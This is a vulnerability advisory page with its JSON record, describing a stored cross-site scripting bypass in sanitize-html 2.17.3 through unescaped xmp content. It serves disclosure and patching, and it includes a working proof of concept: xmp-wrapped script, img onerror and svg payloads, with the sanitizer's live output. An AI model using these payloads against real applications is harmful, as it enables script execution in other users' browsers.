GHSA-RPR9-RXV7-X643

Vulnerability from github – Published: 2026-05-14 18:26 – Updated: 2026-06-12 22:02
VLAI
Summary
Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`
Details

Summary

Under the default configuration, sanitize-html can turn attacker-controlled content inside a disallowed xmp element into live HTML or JavaScript. This is a sanitizer bypass in the default disallowedTagsMode: 'discard' path and can lead to stored XSS in applications that render sanitized output back to users.

Details

In sanitize-html@2.17.3, the default nonTextTags list includes only script, style, textarea, and option in index.js lines 138-142. That means disallowed xmp tags are not treated as "drop the entire contents" tags.

Later, in the ontext handler at index.js lines 569-577, the code special-cases textarea and xmp and appends their text content directly to the output without escaping:

} else if ((options.disallowedTagsMode === 'discard' || options.disallowedTagsMode === 'completelyDiscard') && (tag === 'textarea' || tag === 'xmp')) {
  result += text;
}

Because htmlparser2 treats xmp as a raw-text element, markup inside xmp is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.

This creates a default sanitizer bypass. For example, a disallowed <xmp> wrapper can be used to smuggle <script> or event-handler payloads through sanitization.

The README also appears to contradict the implementation. In the "Discarding the entire contents of a disallowed tag" section, the documented exception list names only style, script, textarea, and option, and does not mention xmp.

PoC

Tested locally against sanitize-html@2.17.3 on Node.js v25.2.1.

  1. Install the package:
npm install sanitize-html
  1. Run the following script:
const sanitizeHtml = require('sanitize-html');

console.log(sanitizeHtml('<xmp><script>alert(1)</script></xmp>'));
console.log(sanitizeHtml('<xmp><img src=x onerror=alert(1)></xmp>'));
console.log(sanitizeHtml('<xmp><svg><script>alert(1)</script></svg></xmp>'));
  1. Observed output:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg><script>alert(1)</script></svg>
  1. Render any of the returned strings in a browser context that trusts sanitize-html output, for example:
const dirty = '<xmp><script>alert(1)</script></xmp>';
const clean = sanitizeHtml(dirty);

If clean is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.

Impact

This is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses sanitize-html defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user's browser when that content is viewed.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "sanitize-html"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.17.3"
            },
            {
              "fixed": "2.17.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.17.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T18:26:27Z",
    "nvd_published_at": "2026-06-12T21:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nUnder the default configuration, `sanitize-html` can turn attacker-controlled content inside a disallowed `xmp` element into live HTML or JavaScript. This is a sanitizer bypass in the default `disallowedTagsMode: \u0027discard\u0027` path and can lead to stored XSS in applications that render sanitized output back to users.\n\n### Details\nIn `sanitize-html@2.17.3`, the default `nonTextTags` list includes only `script`, `style`, `textarea`, and `option` in `index.js` lines 138-142. That means disallowed `xmp` tags are not treated as \"drop the entire contents\" tags.\n\nLater, in the `ontext` handler at `index.js` lines 569-577, the code special-cases `textarea` and `xmp` and appends their text content directly to the output without escaping:\n\n```js\n} else if ((options.disallowedTagsMode === \u0027discard\u0027 || options.disallowedTagsMode === \u0027completelyDiscard\u0027) \u0026\u0026 (tag === \u0027textarea\u0027 || tag === \u0027xmp\u0027)) {\n  result += text;\n}\n```\n\nBecause `htmlparser2` treats `xmp` as a raw-text element, markup inside `xmp` is parsed as text on input but becomes live markup again once it is appended unescaped to the sanitized output.\n\nThis creates a default sanitizer bypass. For example, a disallowed `\u003cxmp\u003e` wrapper can be used to smuggle `\u003cscript\u003e` or event-handler payloads through sanitization.\n\nThe README also appears to contradict the implementation. In the \"Discarding the entire contents of a disallowed tag\" section, the documented exception list names only `style`, `script`, `textarea`, and `option`, and does not mention `xmp`.\n\n### PoC\nTested locally against `sanitize-html@2.17.3` on Node.js `v25.2.1`.\n\n1. Install the package:\n\n```bash\nnpm install sanitize-html\n```\n\n2. Run the following script:\n\n```js\nconst sanitizeHtml = require(\u0027sanitize-html\u0027);\n\nconsole.log(sanitizeHtml(\u0027\u003cxmp\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/xmp\u003e\u0027));\nconsole.log(sanitizeHtml(\u0027\u003cxmp\u003e\u003cimg src=x onerror=alert(1)\u003e\u003c/xmp\u003e\u0027));\nconsole.log(sanitizeHtml(\u0027\u003cxmp\u003e\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\u003c/xmp\u003e\u0027));\n```\n\n3. Observed output:\n\n```html\n\u003cscript\u003ealert(1)\u003c/script\u003e\n\u003cimg src=x onerror=alert(1)\u003e\n\u003csvg\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/svg\u003e\n```\n\n4. Render any of the returned strings in a browser context that trusts `sanitize-html` output, for example:\n\n```js\nconst dirty = \u0027\u003cxmp\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003c/xmp\u003e\u0027;\nconst clean = sanitizeHtml(dirty);\n```\n\nIf `clean` is inserted into the DOM or stored and later rendered as trusted HTML, the attacker-controlled script executes.\n\n### Impact\nThis is a cross-site scripting vulnerability in the default sanitizer behavior. Any application that uses `sanitize-html` defaults and then renders the returned HTML as trusted output is impacted. A remote attacker who can submit HTML content can trigger execution of arbitrary JavaScript in another user\u0027s browser when that content is viewed.",
  "id": "GHSA-rpr9-rxv7-x643",
  "modified": "2026-06-12T22:02:01Z",
  "published": "2026-05-14T18:26:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-rpr9-rxv7-x643"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/issues/5418"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/8d4c882b4ed3a7ce802cd87f89f0c1cb7482b8c2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apostrophe has default XSS via `xmp` raw-text passthrough in `sanitize-html`"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…